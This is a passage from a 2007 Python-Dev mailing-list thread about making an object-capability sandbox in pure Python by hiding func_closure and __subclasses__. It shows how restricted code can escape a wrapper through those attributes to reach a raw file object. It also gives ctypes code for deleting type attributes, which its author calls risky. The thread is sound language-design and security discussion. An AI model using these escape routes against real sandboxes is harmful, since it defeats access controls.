return kwargs.get(key)

return get

class Getter(object):

def __init__(self, getter):
self.getter = getter

def __repr__(self):
return self.getter('__repr__') or object.__repr__(self)

def __getattr__(self, attr):
return self.getter(attr)

# io.py module

def FileReader(name):

file = open(name, 'r')

def __repr__():
return '' % name

def read(bufsize=-1):
return file.read(bufsize)

def close():
return file.close()

return Getter(Namespace(__repr__, read, close))



Now, a process A -- which has full access to all objects -- can do:

  >>> motd = FileReader('/etc/motd')

And pass it to "process B" operating in a limited scope, which can then call:

  >>> motd.read()
  >>> motd.close()

But not:

  >>> motd = type(motd)(motd.name, 'w')

which would have been possible *had* motd been created as a ``file``
type by calling: ``open('/etc/motd', 'r')``.

Now, there are probably a million holes in this approach, but as long
as process B's __import__ is sanitised and it operates in a "limited"
scope with regards to references to other functionality, this seems to
be relatively secure.

However, this is where __subclasses__ and func_closure get in the way.

With object.__subclasses__ (as Brett points out), all defined
classes/types are available -- including the ``file`` type we were
trying to deny process B access to! Is it necessary to expose this
attribute publically?

And, likewise with func_closure, one can do
motd.read.func_closure[0].cell_contents and get hold of the original
``file`` object. Is it absolutely necessary to expose func_closure in
this way?

Now, whilst probably wrong, I can see myself being able to create a
minimal object capability system in pure python if those 2 "features"
disappeared. Am I missing something obvious that prevents me from
doing that?

Can we get rid of them for Python 2.6? Or even 2.5.2? Is anyone
besides PJE actually using them? ;p

Thanks in advance for your thoughts.

-- 
love, tav
founder and ceo, esp metanational llp

plex:espians/tav | [EMAIL PROTECTED] | +44 (0) 7809 569 369
___
Python-Dev mailing list
Python-Dev@python.org
http://mail.python.org/mailman/listinfo/python-dev
Unsubscribe: 
http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com


Re: [Python-Dev] object capability; func_closure; __subclasses__

2007-06-28 Thread tav
> You know, I find it particularly interesting that, as far as I can
> tell, nobody who proposes making changes to the Python language to
> add security, ever seems to offer any comparison or contrast of their
> approaches to Zope's -- which doesn't require any changes to the language.  :)

Whilst it is definitely possible to build up a object capability
system with a pruned down version of Zope 3's proxy + checker
mechanism, it ends up in a system which is quite performance
intensive. All those proxies being wrapped/unwrapped/checked...

In contrast, the mechanism I am looking at here simply requires
*moving* just 2 attributes *out* of the core builtins...

Quite cheap, simple and effective, no?

> Well, you're missing a simpler approach to protecting functions,
> anyway.  The '__call__' attribute of functions is still callable, but
> doesn't provide any access to func_closure, func_code, etc.  I
> believe this trick also works for bound method objects.

Whilst that would have been a nice trick, what about __call__.__self__ ?

Or, setting __call__.__doc__ ?

> I suspect that you could also use ctypes to remove or alter the
> type.__subclasses__ member, though I suppose you might not consider
> that to be "pure" Python any more.  However, if you use a definition
> of pure that allows for stdlib modules, then perhaps it works.  :)

Ah, thanks! Will look into that.

> I wouldn't object (no pun intended) to moving the type.__subclasses__
> method to say, the 'new' or 'gc' modules, since you wouldn't want to
> make those available to restricted code, but then they'd still be
> available for folks who need/want them.  'gc' has similar
> capabilities (again no pun intended) anyway.

Ah, that's a great idea!

> However, ISTM that this should be a 3.0 change rather than a 2.x one,
> even so.  With regard to the func_closure thing, I'd actually like to
> make it *writable* as well as readable, and I don't mean just to
> change the contents of the cells.  But, since you can use .__call__
> to make a capability without access to func_closure, it doesn't seem
> like you really need to remove func_closure.

I don't object to making func_closure writable either. In fact, as
someone who has been following your work on generic functions from way
before RuleDispatch, I really want to see PEP 3124 in 3.0

But, all I am asking for is to not expose func_closure (and perhaps
some of the other func_*) as members of FunctionType -- isn't it
possible to add functionality to the ``new`` module which would allow
one to read/write func_closure?

-- 
love, tav
founder and ceo, esp metanational llp

plex:espians/tav | [EMAIL PROTECTED] | +44 (0) 7809 569 369
___
Python-Dev mailing list
Python-Dev@python.org
http://mail.python.org/mailman/listinfo/python-dev
Unsubscribe: 
http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com


Re: [Python-Dev] object capability; func_closure; __subclasses__

2007-06-28 Thread tav
> Well, there's no __self__ in 2.3 or 2.4; I guess that was added in 2.5.  Darn.

anyone know *why* it was added?

> >Or, setting __call__.__doc__ ?
>
> What does that do?

ah, i just wanted a way of providing documentation, and __call__'s
__doc__ isn't writable...

> If it works, you could probably do the same thing to remove __call__.__self__.

will look into that too...

> In 3.0, I don't mind if the access method moves, I just want to keep
> the access.  OTOH, I don't really care about __call__.__self__, since
> I got along fine without it in 2.3/2.4 and didn't know it had been
> added in 2.5.  :)

w00p!

so, suggestions as to how one can go about getting those 2 access methods moved?

-- 
thanks, tav
founder and ceo, esp metanational llp

plex:espians/tav | [EMAIL PROTECTED] | +44 (0) 7809 569 369
___
Python-Dev mailing list
Python-Dev@python.org
http://mail.python.org/mailman/listinfo/python-dev
Unsubscribe: 
http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com


Re: [Python-Dev] object capability; func_closure; __subclasses__

2007-06-28 Thread tav
I love you PJE! Thank you! =)

On 6/28/07, Phillip J. Eby <[EMAIL PROTECTED]> wrote:
> At 05:23 PM 6/28/2007 +0100, tav wrote:
> >Any pointers on removing members via ctypes front?
> >
> >Whilst I can understand even the most obscure aspects of your python
> >code fine, I'm not familiar with C/ctypes...
>
> What you want is to get access to the type's real dictionary, not the
> proxy.  Then you can just delete '__subclasses__' from the dictionary
> using Python code.  Here's some code that does the trick:
>
>  from ctypes import pythonapi, POINTER, py_object
>
>  getdict = pythonapi._PyObject_GetDictPtr
>  getdict.restype = POINTER(py_object)
>  getdict.argtypes = [py_object]
>
>  def dictionary_of(ob):
>  dptr = getdict(ob)
>  if dptr and dptr.contents:
>  return dptr.contents.value
>
> 'dictionary_of' returns either a dictionary object, or None if the
> object has no dictionary.  You can then simply delete any unwanted
> contents.  However, you should *never use this* to assign __special__
> methods, as Python will not change the type slots correctly.  Heck,
> you should probably never use this, period.  :)  Usage example:
>
>print "before", type.__subclasses__
>del dictionary_of(type)['__subclasses__']
>print "after", type.__subclasses__
>
> This will print something like:
>
>before 
>after
>Traceback (most recent call last):
>  File "ctypes_dicto.py", line 14, in 
>print "after", type.__subclasses__
>AttributeError: type object 'type' has no attribute '__subclasses__'
>
> et voila.
>
> You should also be able to delete unwanted function type attributes like 
> this::
>
>from types import FunctionType
>del dictionary_of(FunctionType)['func_closure']
>del dictionary_of(FunctionType)['func_code']
>
> Of course, don't blame me if any of this code fries your computer and
> gives you a disease, doesn't work with new versions of Python, etc.
> etc.  It works for me on Windows and Linux with Python 2.3, 2.4 and
> 2.5.  It may also work with 3.0, but remember that func_* attributes
> have different names there.
>
>


-- 
love, tav
founder and ceo, esp metanational llp

plex:espians/tav | [EMAIL PROTECTED] | +44 (0) 7809 569 369
___
Python-Dev mailing list
Python-Dev@python.org
http://mail.python.org/mailman/listinfo/python-dev
Unsubscribe: 
http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com